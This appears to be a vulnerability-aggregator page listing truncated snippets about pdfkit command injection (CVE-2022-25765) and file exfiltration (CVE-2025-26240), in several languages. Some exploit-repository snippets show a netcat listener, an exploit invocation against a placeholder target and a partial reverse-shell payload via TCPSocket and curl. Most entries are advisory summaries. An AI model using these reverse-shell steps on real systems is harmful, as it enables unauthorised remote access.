CVE-2022-25765

Exploit CVE-2022-25765 Un piccolo exploit POC per CVE-2022-25765, PDFkit-CMD-Injection Utilizzo 1. Avvia un listener netcat sulla tua macchina attaccante: root@kitploit: nc -lvnp 4444 2. Esegui l'exploit: root@kitploit: python cve-2022-25765.py -t http://TARGETIP:PORT -l YOURIP -p YOURPORT Esempi...

PDFkit-CMD-Injection

PDFkit-CMD-Injection CVE-2022-25765 Dettaglio Descrizione Il pacchetto pdfkit dalla versione 0.0.0 è vulnerabile a Command Injection poiché l'URL non viene adeguatamente sanitizzato. PoC Avvia un server HTTP root@kitploit: 1- python3 -m http.server 80 Avvia un listener netcat root@kitploit: 2- nc...

CVE-2025-26240

CVE-2025-26240 Questo è un codice di proof of concept per lo sfruttamento del metodo fromstring di pdfkit. Contiene un semplice payload che dimostra sia LFI che SSRF...

CVE-2022-25765-exploit

CVE-2022-25765 — Injeção de Comandos no pdfkit Descrição CVE-2022-25765 é uma vulnerabilidade de injeção de comandos Command Injection que afeta o pdfkit Ruby gem nas versões 0.8.7.2. A vulnerabilidade tem severidade CRÍTICA com CVSS 9.8, pois permite execução remota de comandos sem autenticação....

PDFkit-CMD-Injection

PDFkit-CMD-Injection CVE-2022-25765 pdfkit 0.8.6 iniezione di comandi. Il pacchetto pdfkit è vulnerabile a iniezione di comandi poiché l'URL non è adeguatamente sanificato. Nota: Questo problema è stato risolto nella versione 0.8.7.2, ma la patch si è rivelata inefficace. La versione aggiornata...

PDFkit-CMD-Injection-CVE-2022-25765

PDFkit-CMD-Injection CVE-2022-25765 Exploit para a injeção de comando CVE-2022-25765 em pdfkit 0.8.6 Veja mais detalhes sobre a vulnerabilidade aqui PoC Execute o netcat no seu host: root@kitploit: $ nc -lvnp 1337 Execute o exploit exemplo: root@kitploit: $ ./CVE-2022-25765.py -t http://localhost...

PDFKitExploit

Dieses Repository hat keine README-Datei...

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' Tramite CURL modifica i valori in grassetto: curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...

exploit-CVE-2022-25765

Exploit für CVE-2022-25765 pdfkit - Command Injection Gefällt dir dieses Repo? Gib uns einen ⭐! Nur für Bildungszwecke und autorisierte Sicherheitsforschung. Exploit-Autor @UNICORDev von @NicPWNs und @Dev-Yeoj Beschreibung der Sicherheitslücke Das Paket pdfkit ab Version 0.0.0 ist anfällig für...

PYSEC-2026-2860 pdfkit: Path traversal in from_string

In JazzCore python-pdfkit 1.0.0, the fromstring method enables the execution of JavaScript code within the context of the server application and the exfiltration of local files...

Linux Distros Unpatched Vulnerability : CVE-2025-26240

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - In JazzCore python-pdfkit 1.0.0, the fromstring method enables the execution of JavaScript code within the context of the server application and the exfiltratio...

GHSA-9G3X-6X24-VF9F pdfkit: Path traversal in from_string

In JazzCore python-pdfkit 1.0.0, the fromstring method enables the execution of JavaScript code within the context of the server application and the exfiltration of local files...

a2grunnerp (>=0.1.0, <=0.1.8), agentfoundry (>=1.3.9, <=1.5.78) +218 more potentially affected by CVE-2025-26240 via pdfkit (>=0.6.0, <=1.0.0)

pdfkit PYPI version =0.6.0, =0.1.0, =1.3.9, =1.2.0, =0.1.35, =0.1.0, =0.1.0, =0.0.1, =0.0.1, =0.5.3, =0.5.5, =0.1.17, =0.1.0, =0.7.2 and more Source cves: CVE-2025-26240 Source advisory: SNYK:PYTHON-PDFKIT-17391903...

CVE-2025-26240

In JazzCore python-pdfkit 1.0.0, the fromstring method enables the execution of JavaScript code within the context of the server application and the exfiltration of local files...

DEBIAN-CVE-2025-26240

In JazzCore python-pdfkit 1.0.0, the fromstring method enables the execution of JavaScript code within the context of the server application and the exfiltration of local files...

UBUNTU-CVE-2025-26240

In JazzCore python-pdfkit 1.0.0, the fromstring method enables the execution of JavaScript code within the context of the server application and the exfiltration of local files...

CVE-2025-26240

In JazzCore python-pdfkit 1.0.0, the fromstring method enables the execution of JavaScript code within the context of the server application and the exfiltration of local files...

CVE-2025-26240

In JazzCore python-pdfkit 1.0.0, the fromstring method enables the execution of JavaScript code within the context of the server application and the exfiltration of local files...

PT-2026-50449

Name of the Vulnerable Software and Affected Versions JazzCore python-pdfkit version 1.0.0 Description The from string function allows the execution of JavaScript code within the server application context, which can lead to the exfiltration of local files. Recommendations At the moment, there is...

CVE-2025-26240

In JazzCore python-pdfkit 1.0.0, the fromstring method enables the execution of JavaScript code within the context of the server application and the exfiltration of local files...